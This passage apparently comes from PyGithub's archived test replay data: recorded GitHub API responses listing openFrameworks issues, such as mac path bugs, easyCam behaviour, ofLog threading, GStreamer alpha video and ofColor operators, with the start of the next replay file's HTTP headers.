results;\r\n\t}","number":1110,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1110","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":3799872,"closed_at":null,"created_at":"2012-03-25T18:56:37Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"mac paths don't seem right until you call \"ofToDataPath()\"","html_url":"https://github.com/openframeworks/openFrameworks/issues/1109","comments":3,"assignee":null,"updated_at":"2012-03-25T18:50:13Z","body":"code to recreate: \r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::setup(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::update(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::keyPressed(int key){\r\n cout << ofToDataPath(\"temp\") << endl;\r\n}\r\n\r\nproduces: \r\n\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n../../../data/temp\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n\r\nthis is because the code that fixes OSX paths isn't called until you call ofToDataPath(). a good fix I think would be to set ofDataPathRoot (which happens in ofToDataPath) somewhere early in ofRunApp(). Or should it happen even earlier?","number":1109,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1109","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"993e7a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"65a300","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize"},{"color":"2a8296","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS"}],"id":3799653,"closed_at":null,"created_at":"2012-03-25T18:18:28Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","url":"https://api.github.com/users/roymacdonald","login":"roymacdonald","id":974878,"avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"easyCam weird behavior when target changed","html_url":"https://github.com/openframeworks/openFrameworks/issues/1108","comments":7,"assignee":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-04-09T13:06:18Z","body":"easycam behaves as expected when inited but as soon as I change it's target it begins to behave strangely.\r\nthere's this imaginary sphere that we are rotating (it's diameter is min (viewport.width, vieport.height)), when the mouse is dragged from inside to outside of it the rotation just jumps to a \"random\" rotation. \r\nas well when you have a the camera rotated more than 180º in some axis the \"trackball\" doesn't behave as expected. yet this behavior is not seen when the target hasn't been changed.\r\n\r\nDoes any one know what's going on?\r\n\r\nI just came across this but I haven't gone deeply into how easycam handles the mouse to rotate. \r\nI'll do so ASAP. If someone can give me any clues I'll really apreciate it.\r\n\r\nregards!","number":1108,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1108","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"DDDDDD","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D"}],"id":3795495,"closed_at":null,"created_at":"2012-03-25T00:01:54Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"PG feature request: Generate makefile-only projects","html_url":"https://github.com/openframeworks/openFrameworks/issues/1103","comments":1,"assignee":null,"updated_at":"2012-04-09T16:47:18Z","body":"It would be great if the PG could also generate projects/examples for usage with Eclipse, i.e. just the makefile related files, no CB or other project files.","number":1103,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1103","labels":[{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"444444","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator"}],"id":3754055,"closed_at":null,"created_at":"2012-03-21T21:43:34Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"feature / bug - #pragma omp critical(ofLog)","html_url":"https://github.com/openframeworks/openFrameworks/issues/1098","comments":3,"assignee":null,"updated_at":"2012-03-19T16:18:43Z","body":"whenever i call ofLog beneath openmp i have to wrap it in ```#pragma omp critical (ofLog)``` otherwise i get a crash\r\ni found adding the line above \r\nhttps://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/utils/ofLog.cpp#L84\r\nworks pretty well\r\n\r\nany objections to having it in there?","number":1098,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1098","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"DDDDDD","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals"}],"id":3710293,"closed_at":null,"created_at":"2012-03-19T14:04:51Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"bug ofDirectory::open(string path) actually loads the entire dir into memory?","html_url":"https://github.com/openframeworks/openFrameworks/issues/1075","comments":2,"assignee":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-15T20:34:17Z","body":"I'm finding that `ofDirector::listDir, open` are extremely slow\r\nit seems that it's actually loading the entire dir contents into memory\r\n\r\nit's possible to then do something like\r\n```\r\nofLoadImage(myPixels, dir.getFile(i));\r\n```\r\nand you can quickly load that image from memory. which is faster than\r\n```\r\nofLoadImage(myPixels, dir.getFile(i).getAbsolutePath());\r\n```\r\n\r\nBut this doesn't seem to work consistently (even though the slow listing is consistent)\r\nand surely isn't what we want.","number":1075,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1075","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"DDDDDD","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals"}],"id":3662214,"closed_at":null,"created_at":"2012-03-15T07:54:55Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"c1ec5161b69b4a990436deafb1170d64","url":"https://api.github.com/users/manuelgeoffray","login":"manuelgeoffray","id":808090,"avatar_url":"https://secure.gravatar.com/avatar/c1ec5161b69b4a990436deafb1170d64?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Alpha movies in GStreamer","html_url":"https://github.com/openframeworks/openFrameworks/issues/1070","comments":6,"assignee":null,"updated_at":"2012-03-14T16:03:06Z","body":"Hello,\r\nI needed alpha channel in short length video for a recent project.\r\nIn the forum there is some old zip file for a ofxAlphaVideoPlayer that is still working, but that's OS X & windows only as it's based on QT.\r\nI'm working on linux, and I didn't find anything for GStreamer, so I modified the existing ofGstUtils and ofGstVideoPlayer.\r\nWould you mind if I do a pull request for this?\r\nI can also provide an example with a short length video using animation codec.\r\nWhat do you think?","number":1070,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1070","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":3647640,"closed_at":null,"created_at":"2012-03-14T13:02:41Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"390ea42c23c2c383f973abdafa24bb07","url":"https://api.github.com/users/gabrielstuff","login":"gabrielstuff","id":285033,"avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Continuous integration","html_url":"https://github.com/openframeworks/openFrameworks/issues/1068","comments":10,"assignee":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-17T19:26:40Z","body":"Hey !\r\n\r\nMe again. Didn't find anywhere this infos. I'm currently testing the travis-ci.org service.\r\nAs many people are working on the project and as many many issue are raised, and fixed, I thought it could be great to add some test and thus the travis service.\r\n\r\nIt would avoid the problem met here :\r\nhttps://github.com/openframeworks/openFrameworks/commit/7ca7833ea1afb6bd5a6c54031e3fa688aa0c0ba8\r\nand the discussion here :\r\nhttps://github.com/openframeworks/openFrameworks/issues/804\r\nor there :\r\nhttps://github.com/openframeworks/openFrameworks/pull/921\r\n\r\nI read that :\r\n\r\n>feel free to make a unitTests folder at the root level of OF -\r\n> that is where all unitTests will go.\r\n\r\nBut didn't find them.\r\n\r\nThe travis service will permit to get the little badge we know well : \r\n[![Build Status](https://secure.travis-ci.org/soixantecircuits/openFrameworks.png?branch=master)](http://travis-ci.org/soixantecircuits/openFrameworks)\r\n\r\nAlso, why not adding some spec test, to ensure future development of features.\r\nI'm currently reading :\r\nhttp://www.squidoo.com/cplusplus-behaviour-driven-development-tools#module124841511\r\nhttp://sourceforge.net/apps/mediawiki/turtle/index.php?title=Turtle\r\n\r\nFor those who want some other nice reading :\r\n\r\nhttp://gamesfromwithin.com/exploring-the-c-unit-testing-framework-jungle\r\n\r\nThe travis test is here, currently it is a total fake, but I just proposed the idea of a test driven development\r\nhttp://travis-ci.org/#!/soixantecircuits/openFrameworks/builds/854259 ","number":1068,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1068","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":3631618,"closed_at":null,"created_at":"2012-03-13T15:49:23Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"390ea42c23c2c383f973abdafa24bb07","url":"https://api.github.com/users/gabrielstuff","login":"gabrielstuff","id":285033,"avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Automatic installer + dependencies handler","html_url":"https://github.com/openframeworks/openFrameworks/issues/1063","comments":7,"assignee":null,"updated_at":"2012-03-13T15:21:30Z","body":"Hi !\r\n\r\nRecently, I've been in lot of languages, from C++ to ruby, passing by the colosus of javascript and the sea of php. Dropping by various and strange framework such as the Cinder, the jQuery, the Rails, the Processing, etc ...\r\n\r\n## the situation \r\n\r\nWhat I have noticed is that a strong architecture and a really ease use of add-ons makes a framework get stronger. For instance, if we take a look at Ruby, we see that the use of gems give him a powerfull advance over his friend php. \r\n\r\n### the Rubyist\r\n\r\nThis way of thinking is getting even better with the http://gembundler.com/ [Bundler](http://gembundler.com/) friend. The gems have dependencies and a simple GemFile help to easily install all dependencies for one project.\r\n\r\n### the Cinderist\r\n\r\nFor Cinder, we get the block, as for OSX, it quiet easy and fast. Drag and drop and play/code.\r\n\r\n### the jQueryist\r\n\r\nWell, it is not frequent to have jQuery plugins depending on other jQuery plugins, but there are several way to handle dependencies on jQuery and JS.\r\n\r\n### the nodist\r\n\r\nThis lead us to http://npmjs.org/, which is really nice with dependencies.\r\nFor instance, if you tried cloud9ide, you know that you just have to make sure you get the proper package.json :\r\n\r\n```\r\n{\r\n \"name\": \"node-example\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": {\r\n \"express\": \"2.2.0\"\r\n }\r\n}\r\n```\r\n\r\nThis file ensure that everything before running the server will be installed via npm.\r\n\r\n### the ofist\r\n\r\nRight now, we just have the addons.make file, which is nice but does not do any lifting for us. We have to verify that the ofx addons has been downloaded and is installed in the right folder.\r\n\r\n- Why not creating a script that will allow to manage dependencies compilation ? \r\nI have this wonderful ofxJSONsettings, but he depends on [JSONCPP](http://jsoncpp.sourceforge.net/) and on boost, so here we will have :\r\n\r\npackage.json file in the ofxJSONsettings folder :\r\n\r\n```\r\n{\r\n \"name\": \"ofxJSONsettings\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"jsoncpp\": \"0.6.0-rc2\"\r\n \"url\":\"http://jsoncpp.svn.sourceforge.net/svnroot/jsoncpp/trunk/\"\r\n \"protocol\":\"svn\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nHum, then, we have our little bash script :\r\n\r\n`xadd -addon ofxJSONsettings`\r\n\r\nand for a project, we have to ensure that the make file run `xadd -addon ofxJSONsettings` if it does not find ofXJSONsettings.\r\n\r\nThis could lead to simplify and easify the use of plugin ! Hey, I want the new [mistubaRenderer](https://github.com/satoruhiga/ofxMitsubaRenderer) let's give a try :\r\n\r\n```\r\n{\r\n \"name\": \"ofxMitsubaRenderer\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"mitsuba\": \"0.1\"\r\n \"url\":\"https://www.mitsuba-renderer.org/hg/mitsuba-bidir\"\r\n \"protocol\":\"hg\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nWell, this would be simplify if everybody use some same pattern, and respect some convention.\r\n\r\nSo what do you guys think about that ?\r\n\r\n\r\nThank you !\r\n\r\n\r\n","number":1063,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1063","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":3627067,"closed_at":null,"created_at":"2012-03-13T10:44:57Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"regularize code for math addons","html_url":"https://github.com/openframeworks/openFrameworks/issues/1062","comments":4,"assignee":null,"updated_at":"2012-03-12T17:58:20Z","body":"right now there is a lot of duplicated code in the vector math classes. for example, normalize() and getNormalized() have separate implementations. if we follow the pattern of always implementing things in self-modifying methods, then providing copy-returning methods as alternatives, this will reduce the amount of code and make it harder to cause bugs or behavioral discrepancies.\r\n\r\n- implementations of an algorithm should always be self-modifying\r\n- copy-returning versions should be implemented using a differently named method, internally making a copy and calling the self-modifying version on the copy.\r\n\r\ne.g. something like (note, this isn't how it's implemented right now):\r\n\r\n\tinline ofVec2f& ofVec2f::normalize() {\r\n\t\tfloat length = (float)sqrt(x*x + y*y);\r\n\t\tif( length > 0 ) {\r\n\t\t\tx /= length;\r\n\t\t\ty /= length;\r\n\t\t}\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tinline ofVec2f ofVec2f::getNormalized() const {\r\n\t\tofVec2f result = *this;\r\n\t\treturn result.normalize();\r\n\t}\r\n\r\ntaken from this post https://github.com/openframeworks/openFrameworks/pull/1061#issuecomment-4455601","number":1062,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1062","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":3614231,"closed_at":null,"created_at":"2012-03-12T16:33:06Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofVertexes?? ofCurveVertexes","html_url":"https://github.com/openframeworks/openFrameworks/issues/1055","comments":18,"assignee":null,"updated_at":"2012-03-13T13:07:11Z","body":"Just saw this is the documentation.\r\nVertexes is incorrect (wrong plural)\r\nVertices","number":1055,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1055","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":3605277,"closed_at":null,"created_at":"2012-03-12T01:50:19Z"}] ././@PaxHeader0000000000000000000000000000021000000000000010206 xustar00114 path=pygithub-2.6.1/tests/ReplayData/PaginatedList.testGettingTheReversedListDoesNotModifyTheOriginalList.txt 22 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PaginatedList.testGettingTheReversedListDoesNotModifyTheOriginalList0000644000175100001660000155445214756101563033574 0ustar00runnerdockerhttps GET api.github.com None /repos/openframeworks/openFrameworks/issues {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4983'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '100300'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 21 Aug 2013 10:42:46 GMT'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last"'), ('etag', '"ff413c4ac1c8950a3c117d577119cd9e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 21 Aug 2013 10:54:13 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1377085393')] [{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2496","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2496/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2496/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2496/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2496","id":18345408,"number":2496,"title":"ofColor == and != operators ignore alpha","user":{"login":"rbeitra","id":78566,"avatar_url":"https://1.gravatar.com/avatar/e70c7c24ab262f6f057820f2f35edab7?d=https%3A%2F%2Fidenticons.github.com%2Fa32bc8141e168ff20fdfe3f0fbc72155.png","gravatar_id":"e70c7c24ab262f6f057820f2f35edab7","url":"https://api.github.com/users/rbeitra","html_url":"https://github.com/rbeitra","followers_url":"https://api.github.com/users/rbeitra/followers","following_url":"https://api.github.com/users/rbeitra/following{/other_user}","gists_url":"https://api.github.com/users/rbeitra/gists{/gist_id}","starred_url":"https://api.github.com/users/rbeitra/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rbeitra/subscriptions","organizations_url":"https://api.github.com/users/rbeitra/orgs","repos_url":"https://api.github.com/users/rbeitra/repos","events_url":"https://api.github.com/users/rbeitra/events{/privacy}","received_events_url":"https://api.github.com/users/rbeitra/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2013-08-21T10:02:25Z","updated_at":"2013-08-21T10:02:25Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Currently the == and != operators for ofColor only compare rgb, the alpha value is ignored. Is there a good reason why this is happening? Are many users expecting alpha to be ignored?\r\n\r\nI can think of 2 solutions here. Ideally:\r\n- fix these operator functions to also compare alpha\r\n\r\nOr if that will break things for people then at least:\r\n- add a new function (ofColor::equalsRGBA()?) which does it\r\n\r\n\r\nhttps://github.com/openframeworks/openFrameworks/blob/57f7670e594758ef36d75cf896da003f6081bd75/libs/openFrameworks/types/ofColor.cpp#L545\r\nhttps://github.com/openframeworks/openFrameworks/blob/57f7670e594758ef36d75cf896da003f6081bd75/libs/openFrameworks/types/ofColor.cpp#L551"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2495","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2495/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2495/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2495/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2495","id":18340779,"number":2495,"title":"ofHideCursor() not working on OSX 10.8 (v0.8.0)","user":{"login":"comoc","id":843396,"avatar_url":"https://1.gravatar.com/avatar/c5d3d0065be3563bd1361cca886b80d9?d=https%3A%2F%2Fidenticons.github.com%2F9bd74aa54d59a3ddcfc282a365dbe453.png","gravatar_id":"c5d3d0065be3563bd1361cca886b80d9","url":"https://api.github.com/users/comoc","html_url":"https://github.com/comoc","followers_url":"https://api.github.com/users/comoc/followers","following_url":"https://api.github.com/users/comoc/following{/other_user}","gists_url":"https://api.github.com/users/comoc/gists{/gist_id}","starred_url":"https://api.github.com/users/comoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/comoc/subscriptions","organizations_url":"https://api.github.com/users/comoc/orgs","repos_url":"https://api.github.com/users/comoc/repos","events_url":"https://api.github.com/users/comoc/events{/privacy}","received_events_url":"https://api.github.com/users/comoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2013-08-21T08:04:26Z","updated_at":"2013-08-21T08:21:10Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofHideCursor() seems not working on Mac OS X 10.8 with of_v0.8.0_osx_release.\r\n```c++\r\nvoid testApp::setup(){\r\n ofHideCursor(); // <- The cursor is still shown.\r\n}\r\n```\r\nFor reference, I tried following code, then works fine.\r\n```c++\r\nvoid testApp::setup(){\r\nifdef __APPLE__\r\n CGDisplayHideCursor(NULL); // <- OK\r\n#endif\r\n}\r\n```\r\nCompiled with Xcode 4.6.2."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2494","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2494/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2494/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2494/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2494","id":18335634,"number":2494,"title":"targetconditionals.h not found error in XCode with openframeworks 0.8","user":{"login":"Jiffer","id":2372348,"avatar_url":"https://1.gravatar.com/avatar/1a4365e1a5be1e4b894f60f2add73c6f?d=https%3A%2F%2Fidenticons.github.com%2F294f1d758201292712cfef7db1f9aa7c.png","gravatar_id":"1a4365e1a5be1e4b894f60f2add73c6f","url":"https://api.github.com/users/Jiffer","html_url":"https://github.com/Jiffer","followers_url":"https://api.github.com/users/Jiffer/followers","following_url":"https://api.github.com/users/Jiffer/following{/other_user}","gists_url":"https://api.github.com/users/Jiffer/gists{/gist_id}","starred_url":"https://api.github.com/users/Jiffer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Jiffer/subscriptions","organizations_url":"https://api.github.com/users/Jiffer/orgs","repos_url":"https://api.github.com/users/Jiffer/repos","events_url":"https://api.github.com/users/Jiffer/events{/privacy}","received_events_url":"https://api.github.com/users/Jiffer/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{